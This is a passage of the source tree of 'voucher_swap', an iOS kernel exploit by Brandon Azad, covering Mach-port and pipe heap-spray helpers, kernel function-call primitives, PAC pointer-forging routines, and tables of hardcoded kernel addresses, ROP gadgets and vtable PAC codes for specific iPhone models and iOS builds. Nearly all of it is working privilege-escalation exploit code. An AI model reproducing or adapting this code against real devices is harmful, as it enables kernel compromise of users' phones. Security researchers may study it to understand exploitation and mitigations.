559 | int *new_pipefds = realloc(pipefds, 2 * count * sizeof(int));
560 | assert(new_pipefds != NULL);
561 | // Return the count and the array.
562 | *pipe_count = count;
563 | return new_pipefds;
564 | }
565 |
566 | void
567 | close_pipes(int *pipefds, size_t pipe_count) {
568 | for (size_t i = 0; i < pipe_count; i++) {
569 | pipe_close(pipefds + 2 * i);
570 | }
571 | }
572 |
573 | size_t
574 | pipe_spray(const int *pipefds, size_t pipe_count,
575 | void *pipe_buffer, size_t pipe_buffer_size,
576 | void (^update)(uint32_t pipe_index, void *data, size_t size)) {
577 | assert(pipe_count <= 0xffffff);
578 | assert(pipe_buffer_size > 512);
579 | size_t write_size = pipe_buffer_size - 1;
580 | size_t pipes_filled = 0;
581 | for (size_t i = 0; i < pipe_count; i++) {
582 | // Update the buffer.
583 | if (update != NULL) {
584 | update((uint32_t)i, pipe_buffer, pipe_buffer_size);
585 | }
586 | // Fill the write-end of the pipe with the buffer. Leave off the last byte.
587 | int wfd = pipefds[2 * i + 1];
588 | ssize_t written = write(wfd, pipe_buffer, write_size);
589 | if (written != write_size) {
590 | // This is most likely because we've run out of pipe buffer memory. None of
591 | // the subsequent writes will work either.
592 | break;
593 | }
594 | pipes_filled++;
595 | }
596 | return pipes_filled;
597 | }
598 |
--------------------------------------------------------------------------------
/voucher_swap/voucher_swap/kernel_alloc.h:
--------------------------------------------------------------------------------
1 | /*
2 | * kernel_alloc.h
3 | * Brandon Azad
4 | */
5 | #ifndef VOUCHER_SWAP__KERNEL_ALLOC_H_
6 | #define VOUCHER_SWAP__KERNEL_ALLOC_H_
7 |
8 | #include
9 | #include
10 |
11 | /*
12 | * message_size_for_kalloc_size
13 | *
14 | * Description:
15 | * Return the Mach message size needed for the ipc_kmsg to be allocated from the specified
16 | * kalloc zone. This is exactly correct when kalloc_size is a multiple of 16, otherwise it
17 | * could be slightly small.
18 | */
19 | size_t message_size_for_kalloc_size(size_t kalloc_size);
20 |
21 | /*
22 | * kalloc_size_for_message_size
23 | *
24 | * Description:
25 | * Return the kalloc allocation size corresponding to sending a message of the specified size.
26 | *
27 | * This is only correct for messages large enough that the ipc_kmsg struct is allocated with
28 | * kalloc().
29 | */
30 | size_t kalloc_size_for_message_size(size_t message_size);
31 |
32 | /*
33 | * ipc_kmsg_size_for_message_size
34 | *
35 | * Description:
36 | * Return the allocation size of the ipc_kmsg for the given message size.
37 | */
38 | size_t ipc_kmsg_size_for_message_size(size_t message_size);
39 |
40 | /*
41 | * ool_ports_spray_port
42 | *
43 | * Description:
44 | * Spray the given Mach port with Mach messages that contain out-of-line ports descriptors
45 | * with the given ports. The goal is to spray the target kalloc zone with many copies of a
46 | * particular array of OOL ports.
47 | *
48 | * Make sure that the port's queue limits are sufficient to hold the specified number of
49 | * messages.
50 | *
51 | * Unfortunately, we cannot avoid the creation of ipc_kmsg objects to hold the messages
52 | * enqueued on the port. You should ensure that the appropriate kalloc zone's freelist has
53 | * sufficiently many intermediates to ensure that ipc_kmsg allocation does not interfere with
54 | * the OOL ports spray.
55 | *
56 | * There are limits on the number of OOL ports that can be sent in a message, the number of
57 | * descriptors in a message, and the number of messages that can be queued on a port. Be sure
58 | * that the parameters you supply are valid, since this function does not check whether or not
59 | * the kernel will let your message through (or even whether they make sense).
60 | *
61 | * Parameters:
62 | * holding_port The port on which to enqueue the Mach messages.
63 | * ool_ports The OOL Mach ports to spray.
64 | * port_count The number of OOL Mach ports.
65 | * ool_disposition The disposition to send the OOL ports.
66 | * ool_count The number of OOL ports descriptors to send per message.
67 | * message_size The size of each message.
68 | * message_count The number of messages to enqueue on the holding port.
69 | *
70 | * Returns:
71 | * Returns the number of messages that were successfully sent.
72 | */
73 | size_t ool_ports_spray_port(mach_port_t holding_port,
74 | const mach_port_t *ool_ports, size_t port_count,
75 | mach_msg_type_name_t ool_disposition, size_t ool_count,
76 | size_t message_size, size_t message_count);
77 |
78 | /*
79 | * kalloc_spray_port
80 | *
81 | * Description:
82 | * Spray the specified kalloc_zone with at least kalloc_count allocations by sending Mach
83 | * messages containing OOL ports to the specified holding port. Returns the number of kalloc
84 | * allocations that were actually performed.
85 | *
86 | * The point of this function is to quickly make as many kalloc allocations in the target zone
87 | * as possible using the specified holding port. The way we do this is by sending messages
88 | * with many OOL ports descriptors (consisting of empty ports) such that both the ipc_kmsg
89 | * struct for the message and the OOL port arrays fall into the target kalloc zone. We will
90 | * continue sending messages to the port until either we've created the required number of
91 | * allocations or we've filled up the port's message queue.
92 | *
93 | * To free the allocations, call mach_port_destroy() on the holding port. Note that this will
94 | * also free the holding port if there are no other references.
95 | *
96 | * Parameters:
97 | * holding_port The port on which to enqueue the Mach messages.
98 | * min_kalloc_size The minimum sized allocation that is handled by this zone.
99 | * kalloc_zone The kalloc zone in which to spray allocations.
100 | * kalloc_count The desired number of allocations to make.
101 | *
102 | * Returns:
103 | * Returns the number of kalloc allocations actually made, which may be less than the number
104 | * requested if the port fills up or if an error is encountered.
105 | */
106 | size_t kalloc_spray_port(mach_port_t holding_port, size_t min_kalloc_size, size_t kalloc_zone,
107 | size_t kalloc_count);
108 |
109 | /*
110 | * kalloc_spray_size
111 | *
112 | * Description:
113 | * Spray the specified kalloc_zone with spray_size bytes of allocations by sending Mach
114 | * messages containing OOL ports to the given holding ports.
115 | *
116 | * See kalloc_spray_port().
117 | *
118 | * To free the allocations, call destroy_ports() on the holding ports. Note that
119 | * destroy_ports() will also free the holding ports themselves if there are no other
120 | * references.
121 | *
122 | * Parameters:
123 | * holding_ports The array of holding ports.
124 | * port_count inout On entry, the number of holding ports available. On exit,
125 | * the number of holding ports used.
126 | * min_kalloc_size The minimum sized allocation that is handled by this zone.
127 | * kalloc_zone The kalloc zone in which to spray allocations.
128 | * spray_size The number of bytes to try and spray to the target zone.
129 | *
130 | * Returns:
131 | * Returns the number of bytes actually sprayed to the kalloc zone. This could be less than
132 | * the requested size if an error is encountered or more than the requested size if the spray
133 | * size was not an even multiple of the zone size.
134 | */
135 | size_t kalloc_spray_size(mach_port_t *holding_ports, size_t *port_count,
136 | size_t min_kalloc_size, size_t kalloc_zone, size_t spray_size);
137 |
138 | /*
139 | * ool_ports_spray_size_with_gc
140 | *
141 | * Description:
142 | * Spray spray_size bytes of kernel memory with the specified out-of-line ports.
143 | *
144 | * Parameters:
145 | * holding_ports The array of holding ports.
146 | * holding_port_count inout On entry, the number of holding ports available. On exit,
147 | * the number of holding ports used.
148 | * message_size The size of each message to send. This parameter should be
149 | * chosen carefully, as allocations will be taken out of the
150 | * corresponding kalloc zone.
151 | * ool_ports The OOL Mach ports to spray.
152 | * ool_port_count The number of OOL Mach ports.
153 | * ool_disposition The disposition to send the OOL ports.
154 | * spray_size The number of bytes of OOL ports to try and spray.
155 | *
156 | * Returns:
157 | * Returns the number of bytes of OOL ports actually sprayed.
158 | */
159 | size_t ool_ports_spray_size_with_gc(mach_port_t *holding_ports, size_t *holding_port_count,
160 | size_t message_size, const mach_port_t *ool_ports, size_t ool_port_count,
161 | mach_msg_type_name_t ool_disposition, size_t spray_size);
162 |
163 | /*
164 | * create_ports
165 | *
166 | * Description:
167 | * Create an array of Mach ports. The Mach ports are receive rights only. Once the array is no
168 | * longer needed, deallocate it with free().
169 | */
170 | mach_port_t *create_ports(size_t count);
171 |
172 | /*
173 | * destroy_ports
174 | *
175 | * Description:
176 | * Destroys the specified Mach ports and sets them to MACH_PORT_DEAD.
177 | */
178 | void destroy_ports(mach_port_t *ports, size_t count);
179 |
180 | /*
181 | * deallocate_ports
182 | *
183 | * Description:
184 | * Deallocates the specified Mach ports and sets them to MACH_PORT_DEAD.
185 | */
186 | void deallocate_ports(mach_port_t *ports, size_t count);
187 |
188 | /*
189 | * port_increase_queue_limit
190 | *
191 | * Description:
192 | * Increase the queue limit on the specified Mach port to MACH_PORT_QLIMIT_MAX.
193 | */
194 | void port_increase_queue_limit(mach_port_t port);
195 |
196 | /*
197 | * port_insert_send_right
198 | *
199 | * Description:
200 | * Insert a send right on the specified port, which must name a receive right.
201 | */
202 | void port_insert_send_right(mach_port_t port);
203 |
204 | /*
205 | * port_drain_messages
206 | *
207 | * Description:
208 | * Drain all the messages currently queued on the specified port. The messages are passed to
209 | * the message_handler block, which is responsible for processing the messages and freeing any
210 | * associated resources (e.g. with mach_msg_destroy()).
211 | */
212 | void port_drain_messages(mach_port_t port, void (^message_handler)(mach_msg_header_t *));
213 |
214 | /*
215 | * port_discard_messages
216 | *
217 | * Description:
218 | * Discard all the messages currently queued on the specified port. The messages are received
219 | * and passed directly to mach_msg_destroy().
220 | */
221 | void port_discard_messages(mach_port_t port);
222 |
223 | /*
224 | * ool_ports_spray_receive
225 | *
226 | * Description:
227 | * Receive all the messages queued on the holding ports and pass the OOL ports descriptors to
228 | * the specified handler block. The messages are destroyed after they are processed.
229 | */
230 | void ool_ports_spray_receive(mach_port_t *holding_ports, size_t holding_port_count,
231 | void (^ool_ports_handler)(mach_port_t *, size_t));
232 |
233 | /*
234 | * increase_file_limit_voucher
235 | *
236 | * Description:
237 | * Increase our process's limit on the number of open files.
238 | */
239 | void increase_file_limit_voucher(void);
240 |
241 | /*
242 | * pipe_close
243 | *
244 | * Description:
245 | * Close the file descriptors of a pipe.
246 | */
247 | void pipe_close(int pipefds[2]);
248 |
249 | /*
250 | * create_pipes
251 | *
252 | * Description:
253 | * Create a spray of pipes. On entry, pipe_count specifies the requested number of pipes, and
254 | * on return it contains the number of pipes actually created.
255 | *
256 | * The pipes are returned as an array of file descriptors.
257 | */
258 | int *create_pipes(size_t *pipe_count);
259 |
260 | /*
261 | * close_pipes
262 | *
263 | * Description:
264 | * Close the pipes in an array.
265 | */
266 | void close_pipes(int *pipefds, size_t pipe_count);
267 |
268 | /*
269 | * pipe_spray
270 | *
271 | * Description:
272 | * Spray data to the pipes. Note that XNU limits the collective size of all pipe buffers to
273 | * 16 MB, so that's the maximum we'll be able to spray.
274 | *
275 | * Note that the last byte of the sprayed data won't be written to memory!
276 | *
277 | * Parameters:
278 | * pipefds The pipe file descriptors.
279 | * pipe_count The number of pipe fd pairs.
280 | * pipe_buffer The data to spray.
281 | * pipe_buffer_size The size of the data to spray.
282 | * update A callback to modify the data on each iteration.
283 | *
284 | * Returns:
285 | * Returns the number of pipes actually filled.
286 | */
287 | size_t pipe_spray(const int *pipefds, size_t pipe_count,
288 | void *pipe_buffer, size_t pipe_buffer_size,
289 | void (^update)(uint32_t pipe_index, void *data, size_t size));
290 |
291 | #endif
292 |
--------------------------------------------------------------------------------
/voucher_swap/voucher_swap/kernel_call.c:
--------------------------------------------------------------------------------
1 | /*
2 | * kernel_call.c
3 | * Brandon Azad
4 | */
5 | #include "kernel_call.h"
6 |
7 | #include
8 |
9 | #include "kernel_call/pac.h"
10 | #include "kernel_call/user_client.h"
11 | #include "log.h"
12 |
13 | // ---- Public API --------------------------------------------------------------------------------
14 |
15 | bool
16 | kernel_call_init() {
17 | bool ok = stage1_kernel_call_init()
18 | && stage2_kernel_call_init()
19 | && stage3_kernel_call_init();
20 | if (!ok) {
21 | kernel_call_deinit();
22 | }
23 | return ok;
24 | }
25 |
26 | void
27 | kernel_call_deinit() {
28 | stage3_kernel_call_deinit();
29 | stage2_kernel_call_deinit();
30 | stage1_kernel_call_deinit();
31 | }
32 |
33 | uint32_t
34 | kernel_call_7(uint64_t function, size_t argument_count, ...) {
35 | assert(argument_count <= 7);
36 | uint64_t arguments[7];
37 | va_list ap;
38 | va_start(ap, argument_count);
39 | for (size_t i = 0; i < argument_count && i < 7; i++) {
40 | arguments[i] = va_arg(ap, uint64_t);
41 | }
42 | va_end(ap);
43 | return kernel_call_7v(function, argument_count, arguments);
44 | }
45 |
--------------------------------------------------------------------------------
/voucher_swap/voucher_swap/kernel_call.h:
--------------------------------------------------------------------------------
1 | /*
2 | * kernel_call.h
3 | * Brandon Azad
4 | */
5 | #ifndef VOUCHER_SWAP__KERNEL_CALL_H_
6 | #define VOUCHER_SWAP__KERNEL_CALL_H_
7 |
8 | #include
9 | #include
10 | #include
11 |
12 | /*
13 | * kernel_call_init
14 | *
15 | * Description:
16 | * Initialize kernel_call functions.
17 | */
18 | bool kernel_call_init(void);
19 |
20 | /*
21 | * kernel_call_deinit
22 | *
23 | * Description:
24 | * Deinitialize the kernel call subsystem and restore the kernel to a safe state.
25 | */
26 | void kernel_call_deinit(void);
27 |
28 | /*
29 | * kernel_call_7
30 | *
31 | * Description:
32 | * Call a kernel function with the specified arguments.
33 | *
34 | * Restrictions:
35 | * See kernel_call_7v().
36 | */
37 | uint32_t kernel_call_7(uint64_t function, size_t argument_count, ...);
38 |
39 | /*
40 | * kernel_call_7v
41 | *
42 | * Description:
43 | * Call a kernel function with the specified arguments.
44 | *
45 | * Restrictions:
46 | * At most 7 arguments can be passed.
47 | * arguments[0] must be nonzero.
48 | * The return value is truncated to 32 bits.
49 | */
50 | uint32_t kernel_call_7v(uint64_t function, size_t argument_count, const uint64_t arguments[]);
51 |
52 | /*
53 | * kernel_forge_pacia
54 | *
55 | * Description:
56 | * Forge a PACIA pointer using the kernel forging gadget.
57 | */
58 | uint64_t kernel_forge_pacia(uint64_t pointer, uint64_t context);
59 |
60 | /*
61 | * kernel_forge_pacia_with_type
62 | *
63 | * Description:
64 | * Forge a PACIA pointer using the specified address, with the upper 16 bits replaced by the
65 | * type code, as context.
66 | */
67 | uint64_t kernel_forge_pacia_with_type(uint64_t pointer, uint64_t address, uint16_t type);
68 |
69 | /*
70 | * kernel_forge_pacda
71 | *
72 | * Description:
73 | * Forge a PACDA pointer using the kernel forging gadget.
74 | */
75 | uint64_t kernel_forge_pacda(uint64_t pointer, uint64_t context);
76 |
77 | /*
78 | * kernel_xpaci
79 | *
80 | * Description:
81 | * Strip a PACIx code from a kernel pointer.
82 | */
83 | uint64_t kernel_xpaci(uint64_t pointer);
84 |
85 | /*
86 | * kernel_xpacd
87 | *
88 | * Description:
89 | * Strip a PACDx code from a kernel pointer.
90 | */
91 | uint64_t kernel_xpacd(uint64_t pointer);
92 |
93 | #endif
94 |
--------------------------------------------------------------------------------
/voucher_swap/voucher_swap/kernel_call/kc_parameters.c:
--------------------------------------------------------------------------------
1 | /*
2 | * kernel_call/kc_parameters.c
3 | * Brandon Azad
4 | */
5 | #define KERNEL_CALL_PARAMETERS_EXTERN
6 | #include "kernel_call/kc_parameters.h"
7 |
8 | #include "kernel_slide.h"
9 | #include "log.h"
10 | #include "platform.h"
11 | #include "platform_match.h"
12 |
13 | // ---- Initialization routines -------------------------------------------------------------------
14 |
15 | // A struct describing an initialization.
16 | struct initialization {
17 | const char *devices;
18 | const char *builds;
19 | void (*init)(void);
20 | };
21 |
22 | // Run initializations matching this platform.
23 | static size_t
24 | run_initializations(struct initialization *inits, size_t count) {
25 | size_t match_count = 0;
26 | for (size_t i = 0; i < count; i++) {
27 | struct initialization *init = &inits[i];
28 | if (platform_matches(init->devices, init->builds)) {
29 | init->init();
30 | match_count++;
31 | }
32 | }
33 | return match_count;
34 | }
35 |
36 | // A helper macro to get the number of elements in a static array.
37 | #define ARRAY_COUNT(x) (sizeof(x) / sizeof((x)[0]))
38 |
39 | // ---- Offset initialization ---------------------------------------------------------------------
40 |
41 | static void
42 | offsets__iphone11_8__16C50() {
43 | OFFSET(IOAudio2DeviceUserClient, traps) = 0x118;
44 |
45 | SIZE(IOExternalTrap) = 0x18;
46 | OFFSET(IOExternalTrap, object) = 0;
47 | OFFSET(IOExternalTrap, function) = 8;
48 | OFFSET(IOExternalTrap, offset) = 16;
49 |
50 | OFFSET(IORegistryEntry, reserved) = 16;
51 | OFFSET(IORegistryEntry__ExpansionData, fRegistryEntryID) = 8;
52 |
53 | VTABLE_INDEX(IOUserClient, getExternalTrapForIndex) = 0x5B8 / 8;
54 | VTABLE_INDEX(IOUserClient, getTargetAndTrapForIndex) = 0x5C0 / 8;
55 | }
56 |
57 | // A list of offset initializations by platform.
58 | static struct initialization offsets[] = {
59 | { "*", "*", offsets__iphone11_8__16C50 },
60 | };
61 |
62 | // ---- Address initialization --------------------------------------------------------------------
63 |
64 | #define SLIDE(address) (address == 0 ? 0 : address + kernel_slide)
65 |
66 | static void
67 | addresses__iphone11_8__16C50() {
68 | ADDRESS(paciza_pointer__l2tp_domain_module_start) = SLIDE(0xfffffff008f3ce30);
69 | ADDRESS(paciza_pointer__l2tp_domain_module_stop) = SLIDE(0xfffffff008f3ce38);
70 | ADDRESS(l2tp_domain_inited) = SLIDE(0xfffffff0090b72a0);
71 | ADDRESS(sysctl__net_ppp_l2tp) = SLIDE(0xfffffff008f3cd18);
72 | ADDRESS(sysctl_unregister_oid) = SLIDE(0xfffffff007ebd1f0);
73 | ADDRESS(mov_x0_x4__br_x5) = SLIDE(0xfffffff0087f7cd8);
74 | ADDRESS(mov_x9_x0__br_x1) = SLIDE(0xfffffff00882912c);
75 | ADDRESS(mov_x10_x3__br_x6) = SLIDE(0xfffffff0087e82dc);
76 | ADDRESS(kernel_forge_pacia_gadget) = SLIDE(0xfffffff007b66d38);
77 | ADDRESS(kernel_forge_pacda_gadget) = SLIDE(0xfffffff007b66d60);
78 | ADDRESS(IOUserClient__vtable) = SLIDE(0xfffffff0077b4e28);
79 | ADDRESS(IORegistryEntry__getRegistryEntryID) = SLIDE(0xfffffff0080158f0);
80 |
81 | SIZE(kernel_forge_pacxa_gadget_buffer) = 0x110;
82 | OFFSET(kernel_forge_pacxa_gadget_buffer, first_access) = 0xe8;
83 | OFFSET(kernel_forge_pacxa_gadget_buffer, pacia_result) = 0xf0;
84 | OFFSET(kernel_forge_pacxa_gadget_buffer, pacda_result) = 0xe8;
85 | }
86 |
87 | static void
88 | addresses__iphone11_2__16C50() {
89 | ADDRESS(paciza_pointer__l2tp_domain_module_start) = SLIDE(0xfffffff008fd8be8);
90 | ADDRESS(paciza_pointer__l2tp_domain_module_stop) = SLIDE(0xfffffff008fd8bf0);
91 | ADDRESS(l2tp_domain_inited) = SLIDE(0xfffffff009154688);
92 | ADDRESS(sysctl__net_ppp_l2tp) = SLIDE(0xfffffff008fd8ad0);
93 | ADDRESS(sysctl_unregister_oid) = SLIDE(0xfffffff007eed1f0);
94 | ADDRESS(mov_x0_x4__br_x5) = SLIDE(0xfffffff00885b230);
95 | ADDRESS(mov_x9_x0__br_x1) = SLIDE(0xfffffff00888c684);
96 | ADDRESS(mov_x10_x3__br_x6) = SLIDE(0xfffffff00884b834);
97 | ADDRESS(kernel_forge_pacia_gadget) = SLIDE(0xfffffff007b96d38);
98 | ADDRESS(kernel_forge_pacda_gadget) = SLIDE(0xfffffff007b96d60);
99 | SIZE(kernel_forge_pacxa_gadget_buffer) = 0x110;
100 | OFFSET(kernel_forge_pacxa_gadget_buffer, first_access) = 0xe8;
101 | OFFSET(kernel_forge_pacxa_gadget_buffer, pacia_result) = 0xf0;
102 | OFFSET(kernel_forge_pacxa_gadget_buffer, pacda_result) = 0xe8;
103 | ADDRESS(IOUserClient__vtable) = SLIDE(0xfffffff0077d4e28);
104 | ADDRESS(IORegistryEntry__getRegistryEntryID) = SLIDE(0xfffffff0080458f0);
105 | }
106 |
107 | static void
108 | addresses__iphone10_1__16B92() {
109 | ADDRESS(IOUserClient__vtable) = SLIDE(0xfffffff0070cc668);
110 | ADDRESS(IORegistryEntry__getRegistryEntryID) = SLIDE(0xfffffff007594f04);
111 | }
112 |
113 | static void
114 | addresses__iphone10_1__16C101() {
115 | ADDRESS(IOUserClient__vtable) = SLIDE(0xfffffff0070cc648);
116 | ADDRESS(IORegistryEntry__getRegistryEntryID) = SLIDE(0xfffffff00759424c);
117 | }
118 |
119 | // A list of address initializations by platform.
120 | static struct initialization addresses[] = {
121 | { "iPhone11,8", "16C50-16C104", addresses__iphone11_8__16C50 },
122 | { "iPhone11,2", "16C50-16C104", addresses__iphone11_2__16C50 },
123 | { "iPhone10,1", "16B92", addresses__iphone10_1__16B92 },
124 | { "iPhone10,1", "16C101", addresses__iphone10_1__16C101 },
125 | };
126 |
127 | // ---- PAC initialization ------------------------------------------------------------------------
128 |
129 | #if __arm64e__
130 |
131 | static void
132 | pac__iphone11_8__16C50() {
133 | INIT_VTABLE_PAC_CODES(IOAudio2DeviceUserClient,
134 | 0x3771, 0x56b7, 0xbaa2, 0x3607, 0x2e4a, 0x3a87, 0x89a9, 0xfffc,
135 | 0xfc74, 0x5635, 0xbe60, 0x32e5, 0x4a6a, 0xedc5, 0x5c68, 0x6a10,
136 | 0x7a2a, 0xaf75, 0x137e, 0x0655, 0x43aa, 0x12e9, 0x4578, 0x4275,
137 | 0xff53, 0x1814, 0x122e, 0x13f6, 0x1d35, 0xacb1, 0x7eb0, 0x1262,
138 | 0x82eb, 0x164e, 0x37a5, 0xb659, 0x6c51, 0xa20f, 0xb3b6, 0x6bcb,
139 | 0x5a20, 0x5062, 0x00d7, 0x7c85, 0x8a26, 0x3539, 0x688b, 0x1e60,
140 | 0x1955, 0x0689, 0xc256, 0xa383, 0xf021, 0x1f0a, 0xb4bb, 0x8ffc,
141 | 0xb5b9, 0x8764, 0x5d96, 0x80d9, 0x0c9c, 0x5d0a, 0xcbcc, 0x617d,
142 | 0x848a, 0x2312, 0x3540, 0xc257, 0x3025, 0x9fc2, 0x5038, 0xc666,
143 | 0x6cc3, 0x550c, 0xa19a, 0xa51b, 0x4577, 0x573c, 0x1a4e, 0x6c3d,
144 | 0xb049, 0xc4b2, 0xc90d, 0x7d59, 0x4897, 0x3c68, 0xb085, 0x4529,
145 | 0x639f, 0xccfb, 0x55eb, 0xe933, 0xaec3, 0x5ec5, 0x5219, 0xc6b2,
146 | 0x8a43, 0x4a20, 0xd9f2, 0x981a, 0xa27f, 0xc4f9, 0x6b87, 0x60a1,
147 | 0x7e78, 0x36aa, 0x86ef, 0x9be9, 0x7318, 0x93b7, 0x638e, 0x61a6,
148 | 0x9175, 0x136b, 0xdb58, 0x4a31, 0x0988, 0x5393, 0xabe0, 0x0ad9,
149 | 0x6c99, 0xd52d, 0xe213, 0x308f, 0xd78d, 0x3a1d, 0xa390, 0x240b,
150 | 0x1b89, 0x8d3c, 0x2652, 0x7f14, 0x0759, 0x63c4, 0x800f, 0x9cc2,
151 | 0x02ac, 0x785f, 0xcc6b, 0x82cd, 0x808e, 0x37ce, 0xa4c7, 0xe8de,
152 | 0xa343, 0x4bc0, 0xf8a6, 0xac7f, 0x7974, 0xea1b, 0x4b35, 0x9eb4,
153 | 0x595a, 0x5b2b, 0x699e, 0x2b52, 0xf40e, 0x0ddb, 0x0f88, 0x8700,
154 | 0x36c3, 0x058e, 0xf16e, 0x3a71, 0xda1e, 0x10b6, 0x8654, 0xb352,
155 | 0xa03f, 0xbde5, 0x5cf5, 0x18b8, 0xea14, 0x3e51, 0xbcef, 0xfd2b,
156 | 0xc1ba, 0x02d4, 0xee4f, 0x3565, 0xb50c, 0xbdaa, 0xbc5e, 0xea23,
157 | 0x2bcb);
158 | }
159 |
160 | // A list of PAC initializations by platform.
161 | static struct initialization pac_codes[] = {
162 | { "iPhone11,*", "*", pac__iphone11_8__16C50 },
163 | };
164 |
165 | #endif // __arm64e__
166 |
167 | // ---- Public API --------------------------------------------------------------------------------
168 |
169 | bool
170 | kernel_call_parameters_init() {
171 | bool ok = kernel_slide_init();
172 | if (!ok) {
173 | return false;
174 | }
175 | size_t count = run_initializations(offsets, ARRAY_COUNT(offsets));
176 | if (count < 1) {
177 | ERROR("no kernel_call %s for %s %s", "offsets",
178 | platform.machine, platform.osversion);
179 | return false;
180 | }
181 | count = run_initializations(addresses, ARRAY_COUNT(addresses));
182 | if (count < 1) {
183 | ERROR("no kernel_call %s for %s %s", "addresses",
184 | platform.machine, platform.osversion);
185 | return false;
186 | }
187 | #if __arm64e__
188 | count = run_initializations(pac_codes, ARRAY_COUNT(pac_codes));
189 | if (count < 1) {
190 | ERROR("no kernel_call %s for %s %s", "PAC codes",
191 | platform.machine, platform.osversion);
192 | return false;
193 | }
194 | #endif // __arm64e__
195 | return true;
196 | }
197 |
--------------------------------------------------------------------------------
/voucher_swap/voucher_swap/kernel_call/kc_parameters.h:
--------------------------------------------------------------------------------
1 | /*
2 | * kernel_call/kc_parameters.h
3 | * Brandon Azad
4 | */
5 | #ifndef VOUCHER_SWAP__KERNEL_CALL__KC_PARAMETERS_H_
6 | #define VOUCHER_SWAP__KERNEL_CALL__KC_PARAMETERS_H_
7 |
8 | #include
9 | #include
10 | #include
11 |
12 | #include "parameters.h"
13 |
14 | #ifdef KERNEL_CALL_PARAMETERS_EXTERN
15 | #define extern KERNEL_CALL_PARAMETERS_EXTERN
16 | #endif
17 |
18 | // A structure describing the PAC codes used as part of the context for signing and verifying
19 | // virtual method pointers in a vtable.
20 | struct vtable_pac_codes {
21 | size_t count;
22 | const uint16_t *codes;
23 | };
24 |
25 | // Generate the name for an offset in a virtual method table.
26 | #define VTABLE_INDEX(class_, method_) _##class_##_##method_##__vtable_index_
27 |
28 | // Generate the name for a list of vtable PAC codes.
29 | #define VTABLE_PAC_CODES(class_) _##class_##__vtable_pac_codes_
30 |
31 | // A helper macro for INIT_VTABLE_PAC_CODES().
32 | #define VTABLE_PAC_CODES_DATA(class_) _##class_##__vtable_pac_codes_data_
33 |
34 | // Initialize a list of vtable PAC codes. In order to store the PAC code array in constant memory,
35 | // we place it in a static variable. Consequently, this macro will produce name conflicts if used
36 | // outside a function.
37 | #define INIT_VTABLE_PAC_CODES(class_, ...) \
38 | static const uint16_t VTABLE_PAC_CODES_DATA(class_)[] = { __VA_ARGS__ }; \
39 | VTABLE_PAC_CODES(class_) = (struct vtable_pac_codes) { \
40 | .count = sizeof(VTABLE_PAC_CODES_DATA(class_)) / sizeof(uint16_t), \
41 | .codes = (const uint16_t *) VTABLE_PAC_CODES_DATA(class_), \
42 | }
43 |
44 | extern uint64_t ADDRESS(paciza_pointer__l2tp_domain_module_start);
45 | extern uint64_t ADDRESS(paciza_pointer__l2tp_domain_module_stop);
46 | extern uint64_t ADDRESS(l2tp_domain_inited);
47 | extern uint64_t ADDRESS(sysctl__net_ppp_l2tp);
48 | extern uint64_t ADDRESS(sysctl_unregister_oid);
49 | extern uint64_t ADDRESS(mov_x0_x4__br_x5);
50 | extern uint64_t ADDRESS(mov_x9_x0__br_x1);
51 | extern uint64_t ADDRESS(mov_x10_x3__br_x6);
52 | extern uint64_t ADDRESS(kernel_forge_pacia_gadget);
53 | extern uint64_t ADDRESS(kernel_forge_pacda_gadget);
54 | extern uint64_t ADDRESS(IOUserClient__vtable);
55 | extern uint64_t ADDRESS(IORegistryEntry__getRegistryEntryID);
56 |
57 | extern size_t SIZE(kernel_forge_pacxa_gadget_buffer);
58 | extern size_t OFFSET(kernel_forge_pacxa_gadget_buffer, first_access);
59 | extern size_t OFFSET(kernel_forge_pacxa_gadget_buffer, pacia_result);
60 | extern size_t OFFSET(kernel_forge_pacxa_gadget_buffer, pacda_result);
61 |
62 | extern struct vtable_pac_codes VTABLE_PAC_CODES(IOAudio2DeviceUserClient);
63 |
64 | // Parameters for IOAudio2DeviceUserClient.
65 | extern size_t OFFSET(IOAudio2DeviceUserClient, traps);
66 |
67 | // Parameters for IOExternalTrap.
68 | extern size_t SIZE(IOExternalTrap);
69 | extern size_t OFFSET(IOExternalTrap, object);
70 | extern size_t OFFSET(IOExternalTrap, function);
71 | extern size_t OFFSET(IOExternalTrap, offset);
72 |
73 | // Parameters for IORegistryEntry.
74 | extern size_t OFFSET(IORegistryEntry, reserved);
75 | extern size_t OFFSET(IORegistryEntry__ExpansionData, fRegistryEntryID);
76 |
77 | // Parameters for IOUserClient.
78 | extern uint32_t VTABLE_INDEX(IOUserClient, getExternalTrapForIndex);
79 | extern uint32_t VTABLE_INDEX(IOUserClient, getTargetAndTrapForIndex);
80 |
81 | /*
82 | * kernel_call_parameters_init
83 | *
84 | * Description:
85 | * Initialize the addresses used in the kernel_call subsystem.
86 | */
87 | bool kernel_call_parameters_init(void);
88 |
89 | #undef extern
90 |
91 | #endif
92 |
--------------------------------------------------------------------------------
/voucher_swap/voucher_swap/kernel_call/pac.c:
--------------------------------------------------------------------------------
1 | /*
2 | * kernel_call/pac.c
3 | * Brandon Azad
4 | */
5 | #include "kernel_call/pac.h"
6 |
7 | #include "kernel_call.h"
8 | #include "kernel_call/kc_parameters.h"
9 | #include "kernel_call/user_client.h"
10 | #include "kernel_memory.h"
11 | #include "log.h"
12 | #include "mach_vm.h"
13 | #include "parameters.h"
14 |
15 | #if __arm64e__
16 |
17 | // ---- Global variables --------------------------------------------------------------------------
18 |
19 | // The address of our kernel buffer.
20 | static uint64_t kernel_pacxa_buffer;
21 |
22 | // The forged value PACIZA('mov x0, x4 ; br x5').
23 | static uint64_t paciza__mov_x0_x4__br_x5;
24 |
25 | // ---- Stage 2 -----------------------------------------------------------------------------------
26 |
27 | /*
28 | * stage1_kernel_call_7
29 | *
30 | * Description:
31 | * Call a kernel function using our stage 1 execute primitive with explicit registers.
32 | *
33 | * See stage1_kernel_call_7v.
34 | */
35 | static uint32_t
36 | stage1_kernel_call_7(uint64_t function, uint64_t x1, uint64_t x2, uint64_t x3,
37 | uint64_t x4, uint64_t x5, uint64_t x6) {
38 | uint64_t arguments[7] = { 1, x1, x2, x3, x4, x5, x6 };
39 | return stage1_kernel_call_7v(function, 7, arguments);
40 | }
41 |
42 | /*
43 | * stage1_init_kernel_pacxa_forging
44 | *
45 | * Description:
46 | * Initialize our stage 1 capability to forge PACIA and PACDA pointers.
47 | */
48 | static void
49 | stage1_init_kernel_pacxa_forging() {
50 | // Get the authorized pointers to l2tp_domain_module_start() and l2tp_domain_module_stop().
51 | // Because these values already contain the PACIZA code, we can call them with the stage 0
52 | // call primitive to start/stop the module.
